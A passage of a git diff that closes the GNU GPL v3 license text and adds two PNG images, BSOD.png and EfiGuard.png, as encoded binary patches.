+otherwise be available to you under applicable patent law. + + 12. No Surrender of Others' Freedom. + + If conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot convey a +covered work so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you may +not convey it at all. For example, if you agree to terms that obligate you +to collect a royalty for further conveying from those to whom you convey +the Program, the only way you could satisfy both those terms and this +License would be to refrain entirely from conveying the Program. + + 13. Use with the GNU Affero General Public License. + + Notwithstanding any other provision of this License, you have +permission to link or combine any covered work with a work licensed +under version 3 of the GNU Affero General Public License into a single +combined work, and to convey the resulting work. The terms of this +License will continue to apply to the part which is the covered work, +but the special requirements of the GNU Affero General Public License, +section 13, concerning interaction through a network will apply to the +combination as such. + + 14. Revised Versions of this License. + + The Free Software Foundation may publish revised and/or new versions of +the GNU General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + + Each version is given a distinguishing version number. If the +Program specifies that a certain numbered version of the GNU General +Public License "or any later version" applies to it, you have the +option of following the terms and conditions either of that numbered +version or of any later version published by the Free Software +Foundation. If the Program does not specify a version number of the +GNU General Public License, you may choose any version ever published +by the Free Software Foundation. + + If the Program specifies that a proxy can decide which future +versions of the GNU General Public License can be used, that proxy's +public statement of acceptance of a version permanently authorizes you +to choose that version for the Program. + + Later license versions may give you additional or different +permissions. However, no additional obligations are imposed on any +author or copyright holder as a result of your choosing to follow a +later version. + + 15. Disclaimer of Warranty. + + THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY +APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT +HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY +OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, +THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM +IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF +ALL NECESSARY SERVICING, REPAIR OR CORRECTION. + + 16. Limitation of Liability. + + IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS +THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY +GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE +USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF +DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD +PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), +EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF +SUCH DAMAGES. + + 17. Interpretation of Sections 15 and 16. + + If the disclaimer of warranty and limitation of liability provided +above cannot be given local legal effect according to their terms, +reviewing courts shall apply local law that most closely approximates +an absolute waiver of all civil liability in connection with the +Program, unless a warranty or assumption of liability accompanies a +copy of the Program in return for a fee. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +state the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + {one line to give the program's name and a brief idea of what it does.} + Copyright (C) {year} {name of author} + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . + +Also add information on how to contact you by electronic and paper mail. + + If the program does terminal interaction, make it output a short +notice like this when it starts in an interactive mode: + + {project} Copyright (C) {year} {fullname} + This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, your program's commands +might be different; for a GUI interface, you would use an "about box". + + You should also get your employer (if you work as a programmer) or school, +if any, to sign a "copyright disclaimer" for the program, if necessary. +For more information on this, and how to apply and follow the GNU GPL, see +. + + The GNU General Public License does not permit incorporating your program +into proprietary programs. If your program is a subroutine library, you +may consider it more useful to permit linking proprietary applications with +the library. If this is what you want to do, use the GNU Lesser General +Public License instead of this License. But first, please read +. diff --git a/Misc/BSOD.png b/Misc/BSOD.png new file mode 100644 index 0000000000000000000000000000000000000000..b19f938faf904e33b6621805eeb1c38df651cec2 GIT binary patch literal 3293 zcmV<33?lQ1P)-!{j=VDjwtX0V1|H*bBIwP-(tw-G0_c`{cb=?FRnk{|b<1O8DxK1j%#t<`$PG{_H)PE7th_DAY#?+` z+)=fJH2A>#wD**jYhthAg*iB{U~e1Jj=desO1UGm1wZS(oOaGzlkSr@2UPwkZTa8?&;-^*uO?j~ApbE%6w%=uP8(RnxBEDwsw zw(wqFFX~wAfnV*PZ9a1uc}(7v8?M9;d%DzOU-jr1YBT<@(%FJBkzKzB=A#7dY>4; zdA$Og^gc0z^JT2}ocF%SpPaA-5<3e2?|TY?>S7LvYK{s|_CnHRc2Y~TtXX|!-^$ifGvgVC5WTN4$3E;f>1pn2H z88c?gm@#7%qPlJrTsI9h-#}fcn6&ysE!4l?aS`Ia;2ovaup_W^H%R) zY4|&&N%i-dz0L2r(a9!El1jhPTc%;ip8R|5+Q6K2LdztPZ}u|wvft$2|9tW!d%wNS zLo&;E?7hoy{@^{Ok-hBH*OwLi`cS#or|j!H@%W|1I)Q|`<9D)0=knw-1i7xvdabQz zoVTt{^Qy{Jm6fFPWVLzg_bt0_GWA#UmuZ^j8$HCtkBw^n4d=+1F=NJz88c>#YA?e^ z3`{ix7bklO2;iH5@P8Nx#Yx`pFFiQj3$4dtrS;%64-w}PW&)yli1QDbif}GY@W_0r zO1c#wQlWuw_fq&?au9;eEdvRm9*=; z%km^IL%gm&kuS+0YD0};+TzH7fpFS8T9^TJui67P{t z)*PO=xiJqh@%*5-bl!$uc_5qzPo51que9E>&*Ik&Nk~=sz4uS{Y6TLDdCZ=vB&YS# zA&-wMM9!P7aQ65z4`iT7yL9lw%FWrmMm>v?V8qbE-QZC-i-S#Kc3p6LC& z9Q4))z246=nS0%ODXpEiNvTXlaOm@l87>CCZ}k)wcvaO)p8mGrU=*Q<@NVV4Z^tuc z%$PA_#*7&=ZQugl(;x0MezX9%@FNdg^tAOY5CN*P+w3BwZIQ2+010n|0HGgwFYIaS z!Ox~Z)rvQJy^lj)Pg}3ON1E0Tc5}#++Ix1?c|C2t1H32tya$E&u|Z7dbN1%Sj{vEL zO!c(&8Zc5dFje(>w;_G`b4lhwR%HmX9RY1f2VqZJuYt;c7|j#4;LX<_24OCDOWM9m zr1Sg;Xl1>gwq8Rn0@Ab9r0Vk$^j@8LuN{F}DUD%ITdx6yP?}bg-s6`P?3pFqY`oWw zAWw5B!k#v~gh?6ZJn>VWIOrvZyh~G=dt<7#^V*SHT3qVy+j;?1=EM`XiTM8WJpFcc zhu7u~@%o$mya3sb+~?)$uBWXJ0b^D3#KQu46V8`0W4%{)lYv)-Uqn0-s`-o{dX(XM z?=}U%t3n;6kU~UeO*;Ak@8dBqBTYJ++-xU0`$13Y&ST(J;TP5u&J#V#aJ_e%(fms9 z75?IgH(c-CW+`|3g})FpJ<}oxR1AIIaJ_e%-s=i~=LtbKy3ZS~_X&D$zwrC_JM0bD z=cMr7e&Ii(Ct9zh(s}l=ha9T+Zj-(J!k>wh|KpJ9^@i*H!ft++^?ud7$1~4>}KC zcs$FBMN09)%h?;Q_bbd$*n;mS@*?Nvju-<=)@v4qvS+|w{>dQCO?e{H%>pw`_&K_&m*}Gwk?)x^JvEYvx zGiJ<~F=NmI@1gqvzPQ$k|91h?c#7?AynqV;x7SBeqXxY0Pm;Aiz>jU`EW!waWXf|q z{14Ew{q?(h6aco}Kkk9^Qm|eMK^}Wg^myFvAM{|~gOGIVvGmFV=Y<1ag4x`k!wGQ? zb0sni=aHhXah@i2CX6sqnL?OnO5uDC(R|QTjgIJ68g~vSqe{!Act=ZFhV*r#(nuOp zW`b5>5R&GWKcuSCLTcCU^OJkXfNm3iP9vl>u$MVcH9Oh`(riU2^5EH9OXn4X?|0JF z`(CQ7M~^#dZmPz4lO={q%Q_6zVNW%BvMpYDdDwcllWLoLuLyIHyD-cX@6q7Q(Q;e<5T1FD?&O`JSt{ zHLsgq^m+cI&A}?)bM@A&r*s$fd5QB5R{6fGx7&E~IqmhpdPl3g_iU*1NcVXD7net? z{OhZ?+jO$&_53d`k5&2CS8uUN zi&gnCpIYF3)HUuGuG~*;vmb*3yKN^GyjON6I_Rasdx;RxHtrz+m;2zk*%x3ZrB0;g z8FA2)<(|ilyYqzi^6x!y#M4h+*SK2`TCd#@(0OpgTVaNXAN*;1=P86Rn#Z=;&t0=0 zWg=3wtWo}nVI*)qgsDc`Q}$%c*UFtHc8z;TIumkZo8R1(Z4n6Z4^vZBRpvnmsx&`w z@c89Ho>S9$h4(_notKBL7f`j8bwW$_))pA_kfR)21dA6mkZ`ei#2!ht_= zCQYToc4c@5FEQJn@ucoN==W#~$Gtxh5wbby6iF)t#JP&*h1+KyNQ3R{=XTL=Ne&9Z zj!_MIl`%#K(&&tg4oQ=#mO}2x?lZUSQKkK&EXsiwNW)vpArBMU=3u>d-plE=w+6Yk zi+&57m(U?ENmPx1>}Beur!?<-te-r)D4A@Xrw)7hjsm@#9< bj2ZL47$Yw%q!&Tt00000NkvXXu0mjfR=T;S literal 0 HcmV?d00001 diff --git a/Misc/EfiGuard.png b/Misc/EfiGuard.png new file mode 100644 index 0000000000000000000000000000000000000000..1f8580662d871c2081f770969728c82144f5382e GIT binary patch literal 24954 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 